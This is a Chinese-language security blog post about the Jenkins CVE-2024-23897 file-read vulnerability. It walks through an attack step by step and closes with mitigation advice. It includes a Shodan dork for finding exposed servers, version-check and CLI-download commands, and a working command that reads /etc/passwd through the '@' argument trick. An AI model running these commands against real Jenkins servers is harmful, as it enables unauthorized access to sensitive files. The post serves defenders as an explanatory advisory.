-
-
Jenkins CVE-2024-23897 漏洞揭露
-
发表于: 2024-12-17 17:31 1072
-
最近,Jenkins 的 CVE-2024-23897 漏洞引发了广泛的关注。这一关键的 远程代码执行 (RCE) 漏洞存在于 Jenkins 这一流行的开源自动化服务器中,可能允许攻击者在未授权的情况下执行任意代码。该漏洞影响 Jenkins 版本 2.441 及以前版本,以及 LTS 版本 2.426.2 及以前版本。报告显示,Jenkins 的命令行接口 (CLI) 命令解析器中的一个特性没有被禁用,导致攻击者可以使用带有文件路径的参数执行特定命令,从而读取 Jenkins 控制器文件系统上任意文件的内容。
为了深入了解这一漏洞的工作机制及其潜在的利用方式,有必要对攻击者在利用这一漏洞时进行的步骤进行详细分析。
首先,攻击者需要识别可能脆弱的 Jenkins 实例。这一步可以借助 Shodan,这个互联网搜索引擎能够对连接到互联网的设备进行索引。攻击者可以使用以下 Shodan dorks 来定位 Jenkins 实例:
X-Jenkins" "Set-Cookie: JSESSIONID" http.title:"Dashboard"
一旦识别到 Jenkins 实例,攻击者可以检查其版本以确认为脆弱版本。接下来,通过使用 curl
命令发送请求可以获取 Jenkins 的版本信息。
例如,使用以下命令检查目标系统版本:
curl -I http://{{ip-addr}}:8080
如果检测到的版本符合已知的脆弱版本 (即 2.441 之前的版本),攻击者就可以继续下一步。
在确认识别的 Jenkins 实例存在漏洞后,攻击者可以通过使用 wget
命令下载 Jenkins CLI 工具:
wget http://{ip-addr}:8080/jnlpJars/jenkins-cli.jar
这个命令将下载 jenkins-cli.jar
文件,攻击者可以利用该工具远程与 Jenkins 实例进行交互。
有了 CLI 工具之后,攻击者可执行远程命令。通过 Jenkins CLI,攻击者可以运行一个命令来读取系统文件或检查当前的 Jenkins 用户权限。例如,攻击者可以执行以下命令以读取操作系统中的 /etc/passwd
文件:
java -jar jenkins-cli.jar -s http://jenkins-server:8080 who-am-i "@/etc/passwd"
这里的 @/etc/passwd
是关键部分,利用了本地文件包含 (LFI) 漏洞,以文件内容作为命令输入。
这一方法的局限在于,攻击者最初只能查看文件的一行内容,尽管这对于证明存在访问权限是有用的,但无法提取整个文件,这限制了漏洞利用的范围。
不过,随着事件的发展,最近的研究表明,攻击者们已经开发出更复杂的版本,使他们能够访问整个文件的内容,比如敏感的配置或系统文件。这为安全防护带来了更大的威胁。
在面对 CVE-2024-23897 漏洞的危险时,安全专业人士应采取以下的缓解措施:
-
更新 Jenkins 和插件:确保你的 Jenkins 安装和所有插件都更新到最新版本,安全漏洞通常在新版本中会被修复。定期查看 Jenkins 的安全咨询,以了解任何新的漏洞及相关补丁。
-
实施访问控制:限制 Jenkins CLI 的使用,仅授予可信用户权限。确保只有授权人员可以使用 CLI 工具,仔细配置用户权限,限制对敏感命令和信息的访问。
-
网络安全:通过设置防火墙规则来限制对 Jenkins 服务器的访问。仅限于信任的 IP 地址进行连接,使用 HTTPS 进行与 Jenkins 的安全通信以保护免受中间人攻击。
-
监测和日志记录:开启 Jenkins 活动的详细日志记录,以监控可疑行为或潜在的利用尝试。定期审查日志记录,以发现任何异常的访问模式或尝试访问敏感文件。
CVE-2024-23897 的存在为处于互联网上,没有适当安全措施的 Jenkins 服务器带来了严重风险。攻击者可以利用该漏洞,通过简单的命令来获取敏感数据甚至完全控制服务器。
随着网络安全意识月的到来,个人和组织应积极采取安全措施,定期更新软件,减少攻击面,并监控潜在的安全漏洞迹象。企业不应等到攻击者发现自己的漏洞时再采取行动,而是应立即修补系统,确保配置安全,保护自身组织的安全。
这一事件强调了企业在使用自动化工具时务必谨慎和注意网络安全,确保采取有效的防护手段免受潜在的攻击。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课